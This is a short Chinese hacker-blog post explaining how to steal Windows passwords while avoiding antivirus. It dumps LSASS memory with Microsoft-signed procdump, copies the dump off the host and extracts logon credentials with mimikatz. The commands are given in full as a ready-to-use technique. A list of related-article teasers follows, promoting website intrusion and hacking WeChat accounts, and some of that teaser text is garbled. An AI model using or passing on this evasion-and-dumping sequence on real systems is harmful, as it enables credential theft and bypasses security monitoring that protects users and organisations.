绕过杀毒软件抓取windows密码

hacker4年前黑客文章719

 使用procdump,由于是微软的东西,带微软签名杀软不会报毒。

procdump -accepteula -ma lsass.exe lsass.dmp

copy出 lsass.dmp到本机。


mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP
mimikatz # sekurlsa::logonPasswords

具体可以参考原文:

http://blog.gentilkiwi.com/securite/mimikatz/minidump


标签: 黑客技术

相关文章

入侵网站时的十种小经验

入侵网站时的十种小经验

入侵网站时的十种小经验 1.例如我们的目标网址为“http://www.xxxx.cn/forum/index.php”那么我们把地址改为http://www.xxxx.cn/for...

NipperStudio在互联网审批期内处理设备的本机配置

NipperStudio在互联网审批期内处理设备的本机配置

什么叫Nipper? Nipper Studio在互联网审批期内处理设备的本机配置,并使客户可以建立各种各样审查报告。应用传统式的方式 开展互联网审批,比如根据代理商的手机软件和互联网扫描枪或手动式...

看着你的秘密——网络嗅探技术简介

 嗅探器(Sniff)是能够捕获网络报文的设备,可以理解为一个安装在计算机上的窃听设备,它可以用来窃听计算机在网络上所产生的众多的信息,今天给大家简单讲讲嗅探技术。 一、原理及分类 要了解嗅...

教你如何入侵别人微信,黑客厉害程度堪比电影

公共互联网威胁的定量评估。微信公共互联网威胁量化是一项为企业提供实时、客观的网络安全风险量化风险评估服务。通过微信小程序,可以直观地呈现企业网络安全指标、安全等级、详细安全问题等信息。 它不仅反映了...

Kismet是完全免费的吗?

Kismet是完全免费的吗?

什么叫Kismet? Kismet是802.11无线网络的排序嗅探器,互联网探测器和入侵防御系统系统软件。该专用工具将与适用初始监控器方式的别的无线卡一起应用,而且还能够网络嗅探802.11a,80...

Nmap实际作用:端口扫描器,协议书扫描仪,漏洞检测,绕开安

Nmap实际作用:端口扫描器,协议书扫描仪,漏洞检测,绕开安

Nmap实际作用:端口扫描器,协议书扫描仪,漏洞检测,绕开安全防护,漏洞检测等。   一、Nmap端口扫描器   端口号情况: 1、Open:端口号打开,有程序流程监视此端口号...